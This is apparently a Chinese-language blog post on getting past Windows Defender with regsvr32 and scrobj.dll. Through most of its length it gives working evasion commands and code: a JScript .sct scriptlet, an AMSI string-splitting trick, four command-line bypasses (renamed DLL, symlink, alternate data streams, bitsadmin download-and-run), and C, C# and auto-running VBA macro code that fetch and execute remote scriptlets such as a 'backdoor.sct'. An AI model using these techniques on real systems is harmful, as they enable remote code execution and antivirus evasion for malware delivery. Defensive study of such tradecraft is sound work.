regsvr32 bypass windows defender 新思路
原文連結:blog
在對regsvr32的用法進行了解之後,對於Casey Smith的遠端js指令碼執行命令的思路很感興趣。
命令語法如下:
regsvr32 /s /n /u /i:http://127.0.0.1/file.sct scrobj.dll
原理則是利用com元件的scriptlet註冊方式,關於scriptlet的介紹可以參考MSDN,差不多就是用指令碼形式實現com元件和asp互操作,但其實除了給asp呼叫之外還可以給其他.net元件呼叫。
命令中的引數介紹:
- /s: 靜默模式,不彈框
- /n: 不呼叫
DllRegisterServer
- /u: 解除安裝com元件
- /i: 傳給
DllInstall
- scrobj.dll: com伺服器,全名 Windows Script Component,
DllInstall
方法在這個元件中實現
根據msdn關於DllInstall
的介紹中:“It is invoked by regsvr32 to allow the DLL to perform tasks such as adding information to the registry.”,可知,regsvr32允許註冊過程中dll進行一些自定義的安裝過程,該過程在DllInstall
中實現。
該函式原型如下:
HRESULT DllInstall( BOOL bInstall, PCWSTR pszCmdLine );
regsvr32中的/i引數指定的內容,會被直接傳遞到pszCmdLine,/u引數會將false傳遞到bInstall,所以對sct檔案的呼叫肯定在scrobj.dll
中的install過程。
這麼看,regsvr32只不過是負責呼叫dll的一個工具,可能還會有寫入登錄檔的功能。
理解到這裡之後,我們在defender開啟的情況下嘗試一下這個方法,發現被攔截:
報毒:Backdoor:JS/Relvelshe.A
,看受影響專案是指令碼檔案,可能是指令碼內容沒有過amsi檢測。
檔案內容:
<?XML version="1.0"?> <component id="TESTING"> <registration progid="TESTING" classid="{A1112221-0000-0000-3000-000DA00DABFC}" > <script language="JScript"> <![CDATA[ var foo = new ActiveXObject("WScript.Shell").Run("calc.exe"); ]]> </script> </registration> </component>
經測試,將new ActiveXObject("WScript.Shell").Run("calc.exe")中字串提出來賦值給變數就沒問題了(指令碼內容太複雜不好改,也可以試試直接hook掉amsiscanbuffer)。
在sct不被殺的情況下,再次執行regsvr32,仍然被攔截:Trojan:Win32/Powemet.A!attk
從報毒中的cmdline可知檢測的是命令列內容,所以在網上可找到的繞過姿勢有四種(參考wh0ale):
- 改變scrobj.dll的名稱
copy c:\windows\system32\scrobj.dll NothingToSeeHere.dll
Regsvr32.exe /u /s /i:https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Regsvr32_calc.sct NothingToSeeHere.dll
- 為scrobj.dll建立符號連結
Mklink Dave_LovesThis.dll c:\windows\system32\scrobj.dll
Regsvr32.exe /u /s /i:https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Regsvr32_calc.sct Dave_LovesThis.dll
- 利用NTFS ADS功能繞過
type c:\Windows\System32\scrobj.dll > Just_A_Normal_TextFile.txt:PlacingTheDLLHere
Regsvr32.exe /u /s /i:https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Regsvr32_calc.sct Just_A_Normal_TextFile.txt:PlacingTheDLLHere
- 先將sct檔案放到本地,然後執行
bitsadmin /transfer download /download /priority normal https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Regsvr32_calc.sct %TEMP%\test.txt && regsvr32.exe /s /u /i:%TEMP%\test.txt scrobj.dll
Regsvr32.exe /u /s /i:Regsvr32_calc.sct scrobj.dll
經過上面分析,其實可以看出來其實可以不用regsvr32.exe,使用他的目的是因為他是windows自帶的,有微軟簽名,如果不考慮這個的情況下其實可以寫程式直接呼叫scrobj.dll的DllInstall方法實現程式碼執行。
對於呼叫dll匯出的函式,我首先想到的使用c實現:
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <tchar.h>
int main()
{
TCHAR *dllpath = _T("c:\\windows\\system32\\scrobj.dll");
HMODULE hDllScr = LoadLibrary(dllpath);
if (hDllScr == NULL)
{
puts("Load scrobj.dll fail!");
}
puts("Load scrobj.dll success!");
printf("Address: %p\n", hDllScr);
void* DllInstallProcAddr = (void*)GetProcAddress(hDllScr, "DllInstall");
if (DllInstallProcAddr == NULL)
{
puts("Can not found DllInstall in scrobj.dll!");
}
printf("Found Dllinstall(%p) in scrobj.dll!", DllInstallProcAddr);
//((void (*)(BOOL, TCHAR*))DllInstallProcAddr)(FALSE, L"http://172.16.135.130:8080/uRUrVPCR1C");
((void (*)(BOOL, TCHAR*))DllInstallProcAddr)(FALSE, L"http://127.0.0.1/ttt.txt");
return 0;
}
很不幸,在執行的時候一直報錯:
看這個原因和js有關係,但是無法具體確定哪裡的原因,所以沒想很多直接除錯,對比regsvr32和他呼叫scrobj.dll的區別之處,最終發現到scrobj.dll的一處判斷的地方沒通過導致報錯,貌似不是regsvr32做了什麼暗箱操作。
調了十多遍,也不知道那處判斷是做什麼的,休息了幾天,重新回到這個問題:如何手動呼叫scrobj.dll對DllInstall傳參?
查了半天資料,終於看到一篇文章:https://labs.f-secure.com/archive/dll-tricks-with-vba-to-improve-offensive-macro-capability/,其中講了兩點內容:
- 如何不用regsvr32執行遠端com指令碼
- 在office巨集中呼叫已經存在磁碟上的dll
第一點正是我所需要的,看了之後發現這位大佬是在office巨集中實現的,巨集程式碼如下:
Private Declare PtrSafe Function DllInstall Lib "scrobj.dll" (ByVal bInstall As Boolean, ByRef pszCmdLine As Any) As Long
Sub AutoOpen()
DllInstall False, ByVal StrPtr("http://X.X.X.X:8080/backdoor.sct") ' False = "Don't install"
End Sub
看程式碼,和上面我用c寫的程式碼差不多,但是本地在office中用巨集測試了一下真的可行。
經過一番思考,發現VB也是基於.net平臺的,是不是這個原因,我用c寫的肯定沒有.net環境,改用c#試一下:
using System;
using System.Reflection;
using System.Runtime.InteropServices;
using System.ComponentModel;
namespace scrobj_call_csharp
{
static class NativeMethod
{
[DllImport("kernel32", SetLastError = true, CharSet = CharSet.Ansi)]
public static extern IntPtr LoadLibrary([MarshalAs(UnmanagedType.LPStr)] string lpFileName);
[DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
}
class Program
{
[UnmanagedFunctionPointer(CallingConvention.StdCall, CharSet = CharSet.Unicode)]
private delegate Int32 DllInstall(Boolean bInstall, String pszCmdLine);
static void Main(string[] args)
{
const string dllPath = "scrxxobj.dll";
IntPtr hDllScr = NativeMethod.LoadLibrary(dllPath);
if(hDllScr == IntPtr.Zero)
{
var lasterror = Marshal.GetLastWin32Error();
var innerEx = new Win32Exception(lasterror);
innerEx.Data.Add("LastWin32Error", lasterror);
throw new Exception("Can't load Dll " + dllPath, innerEx);
}
IntPtr DllInstallProcAddr = NativeMethod.GetProcAddress(hDllScr, "DllInstall");
DllInstall fDllInstall = (DllInstall)Marshal.GetDelegateForFunctionPointer(DllInstallProcAddr, typeof(DllInstall));
fDllInstall(false, "http://127.0.0.1\\ttt.txt");
}
}
}
稍微麻煩一點,但是真的呼叫成功了。如此看來,使用C#或者其他基於.net的程式碼直接呼叫scrobj.dll繞過Defender也是可行的。
經過查資料發現c也可以使用.net環境,在vs中新建一個clr空專案,將cpp檔案新增上去編譯即可!